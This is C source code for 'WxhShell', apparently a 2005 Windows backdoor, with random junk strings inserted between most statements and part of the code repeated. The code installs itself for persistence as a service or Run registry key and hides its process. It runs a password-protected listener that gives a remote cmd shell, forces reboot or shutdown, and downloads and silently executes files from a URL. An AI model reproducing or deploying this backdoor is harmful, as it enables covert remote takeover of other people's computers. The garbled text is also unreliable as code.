?vAhDD5 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); eQ8t.~5;- dlCYdwP if (!NtQueryInformationProcess) return 0; i}v.x oS9Od8 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~@xPoD& if(!hProcess) return 0; .n YlYY' _<sN54 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h\3-8m s>L.V2!$0 CloseHandle(hProcess); 7t<MHdw h| wdx(4
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qT5"r488 if(hProcess==NULL) return 0; ,&M#[>\(3 wi
jO2F HMODULE hMod; +ls`;f char procName[255]; dz+Dk6"R unsigned long cbNeeded; ,~ZD"'*n6g vBF9!6X . if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e_KfnPY
M_ %-A CloseHandle(hProcess); Khc^q*|C) gVzIEE25 if(strstr(procName,"services")) return 1; // 以服务启动 `t)9u^[<( y'4Qt.1ukN return 0; // 注册表启动 Q/0gd? U? } @d 7V@F0d c$&({Z{1 // 主模块 YOGj__: int StartWxhshell(LPSTR lpCmdLine) 0\ (:y^X { E JuTv%Y8 SOCKET wsl; <y^_&9 BOOL val=TRUE; @/^mFqr2 int port=0; sHk>ek]2I struct sockaddr_in door; P3|s}& h
ka_Fo if(wscfg.ws_autoins) Install(); a <?~1pWtc vFntzN># port=atoi(lpCmdLine); a oU" W~D_+[P|_ if(port<=0) port=wscfg.ws_port; u|Mx} +D]raU WSADATA data; 0D@ $ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -/{FGbpR; {b4`\I@< if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; wDW%v@ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *w*>\ZhOm door.sin_family = AF_INET; -XCs?@8EQ door.sin_addr.s_addr = inet_addr("127.0.0.1"); >Q=^X3to door.sin_port = htons(port); Q#H"Se
w 0= if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 23L>)Q closesocket(wsl); O |P<s+ return 1; +8N6tw/& } !^su=c =VuSi(d;e{ if(listen(wsl,2) == INVALID_SOCKET) { p5or"tK closesocket(wsl); M;ADL| return 1; ~:T@SrVI } 2m yxwA5 Wxhshell(wsl); eeCG#NFY5 WSACleanup(); mi Q*enZi =NC??e { return 0; *4`5&) ` AK&>3D } |w{Qwf!2 \b(&-=( // 以NT服务方式启动 ~KMah VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) E;C{i { j`RG Moq DWORD status = 0; Z8xB
a0 DWORD specificError = 0xfffffff; }p2iF2g9` Gg9MAK\ C9 serviceStatus.dwServiceType = SERVICE_WIN32; =cjO] serviceStatus.dwCurrentState = SERVICE_START_PENDING; ]Rxo}A serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X=]utn serviceStatus.dwWin32ExitCode = 0; ~r8<|$; serviceStatus.dwServiceSpecificExitCode = 0; 0@cIj
] serviceStatus.dwCheckPoint = 0; pIcg+~ serviceStatus.dwWaitHint = 0; qNj?Rwc s)qrlv5H hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;Hk3y+&]a if (hServiceStatusHandle==0) return; UcQ]n0J=Z ~>=.^ status = GetLastError(); 5qQMGN$K if (status!=NO_ERROR) vQi=13Pw { PZ8,E{V serviceStatus.dwCurrentState = SERVICE_STOPPED; LPt9+sauf1 serviceStatus.dwCheckPoint = 0; oHx:["F serviceStatus.dwWaitHint = 0; bGeIb-|( serviceStatus.dwWin32ExitCode = status; 3jxC}xz) serviceStatus.dwServiceSpecificExitCode = specificError; g3NUw/]# SetServiceStatus(hServiceStatusHandle, &serviceStatus); $ -1ajSVJ return; ye$_=KARP } kpn|C 9r 9Tt%~m^ serviceStatus.dwCurrentState = SERVICE_RUNNING; pK3A/ry< serviceStatus.dwCheckPoint = 0; 66eJp-5e8 serviceStatus.dwWaitHint = 0; K}@rte if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r]p3DQ } 8N'hG, {ac$4#Bp[B // 处理NT服务事件,比如:启动、停止 ]}rNxT4< VOID WINAPI NTServiceHandler(DWORD fdwControl) T@yQOD7 { BkXv4|UE switch(fdwControl) xNOKa* { .i4aM;Qy case SERVICE_CONTROL_STOP: zT,@PIC( serviceStatus.dwWin32ExitCode = 0; WC~;t4 serviceStatus.dwCurrentState = SERVICE_STOPPED; OmWEa serviceStatus.dwCheckPoint = 0; f't.?M serviceStatus.dwWaitHint = 0; K)LoZ^x0) { mv8H:T SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gr2}N"X= } %BkE %ZcZ return; Pqya%j case SERVICE_CONTROL_PAUSE: N
{
oVz], serviceStatus.dwCurrentState = SERVICE_PAUSED; F:ycV~bE break; a4^hC[a case SERVICE_CONTROL_CONTINUE: [6mK<A,/ serviceStatus.dwCurrentState = SERVICE_RUNNING; rueaP break; "{D/a7]lC case SERVICE_CONTROL_INTERROGATE: 2w7$"N break; WkA47+DsV }; (t@)`N{ SetServiceStatus(hServiceStatusHandle, &serviceStatus); wz:e\ ! } d5gwc5X NzQvciJ@" // 标准应用程序主函数 }?Y -I>
w int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) iptA#<Yj { L!Y|`P#Yr Ln,<|,fZN // 获取操作系统版本 X^eyrqv OsIsNt=GetOsVer(); Ljz)%y[s GetModuleFileName(NULL,ExeFile,MAX_PATH); 2T2<I/")O G^)]FwTs // 从命令行安装 a^J(TW/ if(strpbrk(lpCmdLine,"iI")) Install(); ]C,j80+pK %;QK5L // 下载执行文件 Hl8-q! if(wscfg.ws_downexe) { '/HShS!d if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L1RD`qXu. WinExec(wscfg.ws_filenam,SW_HIDE); WS n>P7sY } 1iz =i^} _9lMa7i if(!OsIsNt) { ^\gb|LEnK // 如果时win9x,隐藏进程并且设置为注册表启动 Cu#n5SF* HideProc(); ?{TWsuP7 StartWxhshell(lpCmdLine); \ 2y/: } ,V9qiu=m
else uZn_*_J! if(StartFromService()) j_90iP^5: // 以服务方式启动 Zb1GR5MB`k StartServiceCtrlDispatcher(DispatchTable); EX{%CPp7} else (}X5*BB& // 普通方式启动 !u]@Ru34 StartWxhshell(lpCmdLine); |=IJ^y(x| y+iRZ%V^ return 0; 75Z|meG~ } AJi+JO- wGLMLbj5 <T[LugI 3'.3RKV =========================================== R&W%E%uj bDWLHdu
a 6Z#Nh@!+C 30^q_|l:] O.Pp*sQ^ ++,I`x+p " A` _dj}UF 6t; ;Fz #include <stdio.h> q("XS #include <string.h> xW) #include <windows.h> 2Ty]s~ #include <winsock2.h> QO;Dyef7b #include <winsvc.h> PzKTEYJL #include <urlmon.h> u|IS7>Sm `"CA$Se8 #pragma comment (lib, "Ws2_32.lib") GZaB z#U #pragma comment (lib, "urlmon.lib") )KFxtM- tjThQ #define MAX_USER 100 // 最大客户端连接数 V6dq8Z"h #define BUF_SOCK 200 // sock buffer Fj<*!J$, #define KEY_BUFF 255 // 输入 buffer l3b=8yn. <MG&3L.[ #define REBOOT 0 // 重启 kNWTM%u9 #define SHUTDOWN 1 // 关机 'M6+(`x bI0xI[#Q #define DEF_PORT 5000 // 监听端口 }F{s\qUt "|(.W3f1 #define REG_LEN 16 // 注册表键长度 m@kLZimD #define SVC_LEN 80 // NT服务名长度 "W+>?u ) >C_G~R // 从dll定义API 3mU~G}ig typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hev;M)t typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $rW(*#C typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); CJN~p]\ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bh5D}w =|AYT6z, // wxhshell配置信息 }d}sC\>U struct WSCFG { ]
hK}ASC int ws_port; // 监听端口 %7mGMa/ char ws_passstr[REG_LEN]; // 口令 n32"cFPpT int ws_autoins; // 安装标记, 1=yes 0=no ZbT$f^o}M] char ws_regname[REG_LEN]; // 注册表键名 *yT> char ws_svcname[REG_LEN]; // 服务名 h'em?fN( char ws_svcdisp[SVC_LEN]; // 服务显示名 Ci-Ze j char ws_svcdesc[SVC_LEN]; // 服务描述信息 FLG"c690 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tcoG;ir int ws_downexe; // 下载执行标记, 1=yes 0=no A^).i_ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fmK~? char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^dLu#,; 15J"iN2"W }; Y910\h@V yH"i5L9 // default Wxhshell configuration DQK?y=vf struct WSCFG wscfg={DEF_PORT, [(Z(8{3i "xuhuanlingzhe", ^=^\=9"
b 1, KJyCfMH&:@ "Wxhshell", Zfk]Z9YO "Wxhshell", 9Zd\6F, "WxhShell Service", B0|W "Wrsky Windows CmdShell Service", A"pQOtrm\k "Please Input Your Password: ", _Vp"G)1Y 1, *y?6m,38V "http://www.wrsky.com/wxhshell.exe", 0^S$_L "Wxhshell.exe" AH n!>w, }; (y;
6H stK}K-=` // 消息定义模块 0'6ai=W char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d`rZgY char *msg_ws_prompt="\n\r? for help\n\r#>"; MuMq%uDA" char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &G_#=t& char *msg_ws_ext="\n\rExit."; o#6QwbU25 char *msg_ws_end="\n\rQuit."; |HT7m5tu4 char *msg_ws_boot="\n\rReboot..."; M7?ktK9`ma char *msg_ws_poff="\n\rShutdown..."; {E%c%zzQ char *msg_ws_down="\n\rSave to "; IH=$
wc gk| %
4. char *msg_ws_err="\n\rErr!"; !`N:.+DT char *msg_ws_ok="\n\rOK!"; pnSKIn z4_B/Q char ExeFile[MAX_PATH]; 36{OE!,i int nUser = 0; ;SI (5rS? HANDLE handles[MAX_USER]; EGgw#JAi#t int OsIsNt; '6vo#D9M kCEuzd=$V SERVICE_STATUS serviceStatus; @4UX~=:686 SERVICE_STATUS_HANDLE hServiceStatusHandle; A^FkU hNh!H<}|m8 // 函数声明 D+:s{IcL< int Install(void); /UK?&+1qE int Uninstall(void); \h3HaNC int DownloadFile(char *sURL, SOCKET wsh); wi+Qlf int Boot(int flag); v)*MgfS void HideProc(void); =&08s(A int GetOsVer(void); 4>oM5Yf8 int Wxhshell(SOCKET wsl); glCpA$;VPu void TalkWithClient(void *cs); az![u) int CmdShell(SOCKET sock); &,<,!j)Jr int StartFromService(void); >vo 6X]p~ int StartWxhshell(LPSTR lpCmdLine); -){6ynqv ,gZp/ yJ; VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'gor*-o:wu VOID WINAPI NTServiceHandler( DWORD fdwControl ); Kd 1=mC 3'x>$5W // 数据结构和表定义 7xO05)bz SERVICE_TABLE_ENTRY DispatchTable[] = _+9i { |U1 [R\X {wscfg.ws_svcname, NTServiceMain}, "{~FEx4 {NULL, NULL} ]cP%d-x} }; zAM9%W2v_ @~s5 {4 // 自我安装 dakHH@Q int Install(void) ;UgwV/d { @k;65'"Q char svExeFile[MAX_PATH]; VD&wO'U HKEY key; @yb'h`f] strcpy(svExeFile,ExeFile); %T>@Ldt 8D`+3 // 如果是win9x系统,修改注册表设为自启动 HdtGyh6X0 if(!OsIsNt) { l (rm0_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i/-IjgM"- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Epp>L.?r RegCloseKey(key); !yj1X
Ar if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ij:a+T RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `q]' ^EzJ RegCloseKey(key); @mZK[*Ak<* return 0; oy
jkk } j?*n@' } $!. [R} } r4[=pfe25 else { Tv7W)?3h K_Y{50# // 如果是NT以上系统,安装为系统服务 2~hdJ/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jt}oq%Bf if (schSCManager!=0) @1'OuX^ { Z?xaXFm_ SC_HANDLE schService = CreateService _+P*XY5 ( pD[&,gV$ schSCManager, ~SBW`=aP} wscfg.ws_svcname, 9;XbyA] wscfg.ws_svcdisp, MVzj7~+ SERVICE_ALL_ACCESS, gYN;Fu-9Z SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , XGR63hXND SERVICE_AUTO_START, KB~1]cYMp SERVICE_ERROR_NORMAL, "Cxj_V@\ svExeFile, 16eP7s NULL, [dLc+h1{B NULL, 6!0NFP~b NULL, _YR#J%xa NULL, eD7\ ,}O NULL cHr]{@7Cs ); YIW9z{rrs if (schService!=0) X sJ`x { d(t)8k$ CloseServiceHandle(schService); H#GR*4x CloseServiceHandle(schSCManager); pW8?EGO@ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -SD:G]un
strcat(svExeFile,wscfg.ws_svcname); jA?[*HB if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f5bX,e)! RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z5({A2q RegCloseKey(key); hoBFC1 return 0; l+6@,TY1U } 4J,6cOuW4 } Mfz(%F|< CloseServiceHandle(schSCManager); <5KoK!H }
VJK4C8] } GB `n } %0w25 return 1; *{5}m(5F } `m1stK(PO {=I,+[( // 自我卸载 exSwx-zxI int Uninstall(void) TuCHD~rb { 1c"s+k]9 HKEY key; @Z$fEG)9 ! weYOOu if(!OsIsNt) { zQ<&[Tuwa if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @.cord` RegDeleteValue(key,wscfg.ws_regname); 6C.!+km RegCloseKey(key); P[H`]q| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n}Thc6f3D RegDeleteValue(key,wscfg.ws_regname); Rq(+zL(f RegCloseKey(key); +>ituJ return 0; ;w%g*S } q{*[uJ}Xc" } <F_w4! } r{yIF~k@ else { 5r8
[" G2[2y-Rv SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0j;|IU\ if (schSCManager!=0) HWoMzp5="3 { &flcJ` SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~O./A-l if (schService!=0) M[b~5L+S { (1{OQ0N+x if(DeleteService(schService)!=0) { A+Je?3/. CloseServiceHandle(schService); ocW`sE?EED CloseServiceHandle(schSCManager); 9|>y[i return 0; ,9=P=JH } p(4Ek" CloseServiceHandle(schService); G@ybx[_[@ } 3S^Qo9S CloseServiceHandle(schSCManager); YA8/TFu<_ } Tz&cm= } BI#(L={5 ?b^<Tny return 1;
2 (ux } )CL/%I,^ 3 5-FD{ // 从指定url下载文件 *Z"Kvj;>u int DownloadFile(char *sURL, SOCKET wsh) /Jk.b/t.*S { %iV\nFal> HRESULT hr; $\4O r char seps[]= "/"; z5:3.+M5 char *token; 6x;"T+BSSS char *file; ?1]B(V9nBq char myURL[MAX_PATH]; ,aWfGh#$ char myFILE[MAX_PATH]; nYRD>S?uz <N80MUL| strcpy(myURL,sURL); g5Hsz,x token=strtok(myURL,seps); I GcR5/3 while(token!=NULL) S9/\L6Rmf { DML0paOm5 file=token; P#A|Pn<p token=strtok(NULL,seps); T?__ } ~;I{d7z,; mOjl0n[To] GetCurrentDirectory(MAX_PATH,myFILE); i3Nt?FSN strcat(myFILE, "\\"); +xmZK<{< strcat(myFILE, file); Git2Cet send(wsh,myFILE,strlen(myFILE),0); /s:akLBaD send(wsh,"...",3,0); >273V+dy hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g]}]/\ if(hr==S_OK) 1^;&?E return 0; <* PjG}Z. else xi\uLu?i return 1; hi]\M)l&x 6B?1d
/8V } 0j/i):@ ~ YZi"u // 系统电源模块 8>:2li int Boot(int flag) HoM8V"8B { VxAR,a1+n HANDLE hToken; JY>I TOKEN_PRIVILEGES tkp; wIbc8ze C$B?|oUJc if(OsIsNt) { ;#"`]khd OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Xg"Mjmr LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); LyXABQ] tkp.PrivilegeCount = 1; 1hp@.Fv tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !lB,2_ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q%^gG03. if(flag==REBOOT) { }W%}_UT if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U(qM( E return 0; z<P#djx } xhMdn3~U else { 2I39fZa if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?Z7C0u#wd return 0; 8c$IsvJg } &l|B>{4v } r>q`# ~ else { 8i"{GGVC if(flag==REBOOT) { {gi"ktgk if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1Kebl return 0; veE8
N~0N. } 7,LT4wYH else { }#u}{ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @49^WY return 0; ^jhHaN]G^ } 7y`~T+ } 2W~2Hk=0+% TT&!WbA-Hk return 1; o_$r*Z|HG } RMrt4:-DI gA) F // win9x进程隐藏模块 uTJ?@^nq void HideProc(void) Cw^)}23R { ->#7_W @o^sp|k ! HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Vgm{=$ if ( hKernel != NULL ) B'0Il"g' { ,>jm|BTD { pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (}qLxZ/U ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V[#lFl). FreeLibrary(hKernel); Ul@'z| } $1@{Zz!S Hm^p^,}_x return; mg;AcAS.o, } ,zyrBO0 Eq _bz,G"w+: // 获取操作系统版本 Zd%\x[f9ck int GetOsVer(void) Tp6ysjao { },L[bDOV07 OSVERSIONINFO winfo; f!Ie winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fu&]t8MJC GetVersionEx(&winfo); G`W+m*[U+M if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vA{[F7 return 1; Wl2>U(lj else [E /3&3 return 0; Mo<p+*8u: } %`\{Nxk nz&JG~Qfm // 客户端句柄模块 Tuy*Df int Wxhshell(SOCKET wsl) +%~g$#tlJo { t-Fl"@s SOCKET wsh; wIiT
:o struct sockaddr_in client; V)Xcn'h DWORD myID; zj)[Sntn? DpR%s",Q while(nUser<MAX_USER) d16PY_ { }R'oAE}$ int nSize=sizeof(client); yI;Qb7|^ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )G|UB8] if(wsh==INVALID_SOCKET) return 1; Mt:(w;Y `'QPe42 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t8[:}[Jx if(handles[nUser]==0) [6tQv<}^ closesocket(wsh); @'y"D else $7*Ml)H!9 nUser++; vtT:c.~d } &Gt9a-ne WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +Snjb0 :4Vt return 0; 0.5_,an3 } fe$WR~ (TQXG^n$gY // 关闭 socket 'mM5l*{ void CloseIt(SOCKET wsh) !1_:n D { G7<X l} closesocket(wsh); Tk:y>P!%a nUser--; .PxM
#;i2 ExitThread(0); %"6IAt } NlMx!f>b%/ 3^a"$VW1 // 客户端请求句柄 L$Q+R' void TalkWithClient(void *cs) &Hqu`A/^ { rG]Xgq" _V?Q4}7d/ SOCKET wsh=(SOCKET)cs; \CGcP char pwd[SVC_LEN]; 1XKk~G"D char cmd[KEY_BUFF]; }R x%&29& char chr[1]; {%Y7]*D int i,j; ;sf/tX +A3H#' while (nUser < MAX_USER) { a*8}~p, ;FBc^*q if(wscfg.ws_passstr) { H#y"3E<s if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Mg$Z^v|}0 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1d"P) 3dQ //ZeroMemory(pwd,KEY_BUFF); Y4O L 82Y i=0; jj2UUQ| while(i<SVC_LEN) { 4Ojw&ys@V U{Z>y?V/ // 设置超时 ^J_hkw~gO fd_set FdRead; qr9F struct timeval TimeOut; [8w2U%}] FD_ZERO(&FdRead); ^q`*!B9@ FD_SET(wsh,&FdRead); Vmc)or*# TimeOut.tv_sec=8; ZJ(!jc$"*% TimeOut.tv_usec=0; aBnbu
vp int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ccSS au5N if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); v#FUD-Z C(t/:?(y if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oX~CTunP pwd=chr[0]; wW4S@m if(chr[0]==0xd || chr[0]==0xa) { i]z
i[Zo$ pwd=0; h(-&.Sm")H break; Q/9b'^UJ } [}p.*U_nw i++; @gc"-V*-/ } EoeEg,'~F EiUV?Gvz // 如果是非法用户,关闭 socket P$Q&xN<#) if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~aG-^BAS } (Nahtx!/9 hd;I x%tq> send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $5r,Q{;$ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O@rb4( }TW=eu~ while(1) { !*gAGt_ jxaoQeac ZeroMemory(cmd,KEY_BUFF); v2{s2kB= |Y11sDa9h // 自动支持客户端 telnet标准 ]r6bJ2 j=0; vNbA/sM while(j<KEY_BUFF) { mtHz6+ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $@)d9u
cd cmd[j]=chr[0]; U^&Cvxc[[ if(chr[0]==0xa || chr[0]==0xd) { #8jd,I%L cmd[j]=0; MavO`m&Cg break; (SK5pU } ]w>fnew j++; N sL"p2w~ } uw!|G> "S:N-Tf%U // 下载文件 8A .7=C' z if(strstr(cmd,"http://")) { :\_MA^< send(wsh,msg_ws_down,strlen(msg_ws_down),0); F.D1;,x if(DownloadFile(cmd,wsh)) c^IEj1@}'? send(wsh,msg_ws_err,strlen(msg_ws_err),0); (q N(#~ else GcW}<g} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bf/loMtD } Vz]=J;`Mz else { GNc|)$ ,0]28D switch(cmd[0]) { 6~WE#z_ g"S+V#R // 帮助 d
A{Jk case '?': { |"w<CKlQ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J94YMyOo break; d|RmU/) } >:&p(eu)L0 // 安装 0K0=Ob^(e case 'i': { l0if#?4\r if(Install()) r$Y!Y#hwQ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ky$G$H else d/rz0L send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LW5ggU/ break; $]J IA| } Eo&qc 17)` // 卸载 ,D,f9 case 'r': { y|{?>3 if(Uninstall()) \'Kj.EO{?$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); $#3<rcOq else "IJMvTmj send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MWh+h7k' break; qXhf?x } _C=[bI@ // 显示 wxhshell 所在路径 >0#q!H,X case 'p': { arVf"3a char svExeFile[MAX_PATH]; _)2TLA
n3 strcpy(svExeFile,"\n\r"); >Eg .c strcat(svExeFile,ExeFile); VQMd[/ send(wsh,svExeFile,strlen(svExeFile),0); |o=ST
break; t`t:qko } jYID44$ // 重启 yc=#Jn?S case 'b': { q<[ke
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }IkEyJsk if(Boot(REBOOT)) h_GBx|c send(wsh,msg_ws_err,strlen(msg_ws_err),0); W;]UP$5l else { ./ y[<e closesocket(wsh); 4 ~YQ\4h= ExitThread(0); t0d '> } )Q/`o,Vm break; EiP&Y,vT } (A fbS=[ // 关机 '4lT*KN7\ case 'd': { wf<`J/7u send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Tc5OI' -V if(Boot(SHUTDOWN)) 3l(;Pt-yI send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,h.Jfo54, else { yi-"hT` closesocket(wsh); A<X :K
nl ExitThread(0); j{Jc6U } ZfCr"aL break; gdFoTcHgO| } NG!cEo:2aa // 获取shell 3nC#$L- case 's': { s1 ^mk] CmdShell(wsh); ! vVjZ closesocket(wsh); p2DNbY\] ExitThread(0); as|c`4r\O break; ;6
6_G Sjz } }rA+W-7 // 退出 mYOdBd case 'x': { )LrCoI =| send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ( WtE`f;Q CloseIt(wsh); _6S
b.9m break; >c\v&k>6. } )F#<)Evw // 离开 $]U5 case 'q': { ]op^dW1;0_ send(wsh,msg_ws_end,strlen(msg_ws_end),0); bo !] closesocket(wsh); ~eOj:H WSACleanup(); fQTA@WAr exit(1); 1o~U+s_r break; LO} :Ub } '[yqi1
& } mImbS)V } ?"<r9S|[O
uC*:#[ // 提示信息 ^r$iN %&~ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ""v`0OP&J } c]!D`FA*K } Q @OC = vV\F^ return; -,fa{ yt- } a.dxgW[ $ X=D9h // shell模块句柄 ctUF/[_w; int CmdShell(SOCKET sock) wH_n$w { iraRB~ STARTUPINFO si; -=t3O# ZeroMemory(&si,sizeof(si)); 1QF*e' si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .m]=JC5' si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s3_e7D ^H PROCESS_INFORMATION ProcessInfo; Vkvb= char cmdline[]="cmd"; )4L%zl7 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h;ol" return 0; /$Tl# } Sd<@X@iU8D Fx[A8G // 自身启动模式 rq(~/Yc int StartFromService(void) ,[}yf#8@J { c<h!QnJ typedef struct ^'u;e(AaE
{ t3#H@0< DWORD ExitStatus; F2PLy
q DWORD PebBaseAddress; tC@zM.v% DWORD AffinityMask; l@Eq|y, DWORD BasePriority; o&XMgY~ ULONG UniqueProcessId; OBw`!G*w ULONG InheritedFromUniqueProcessId; _[{:!?-? } PROCESS_BASIC_INFORMATION; ,7fc41O3V '=Kof1 PROCNTQSIP NtQueryInformationProcess; C/CfjRzd #?$'nya*u static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X#kjt)W static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I~]Q55 (XG[_ HANDLE hProcess; Q+!0)pG5# PROCESS_BASIC_INFORMATION pbi; Oa\ `; rTsbP40 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Zu0;/_rN if(NULL == hInst ) return 0; 3b?OW7H 8pq-nuf|K g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lA.;ZD! g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); aO^:dl5 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J%\~<_2ny %7(kP}y* if (!NtQueryInformationProcess) return 0;
>NH4A_ Oa}V>a hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); VTJIaqw if(!hProcess) return 0; Rgfc29(8 ANFg]g.Az if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .?i-rTF: C'8!cPFVv CloseHandle(hProcess); EOBs}M; jI{~s]Q hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /[20e1 w! if(hProcess==NULL) return 0; &weY8\HD (
*9Ip HMODULE hMod; M)`HK
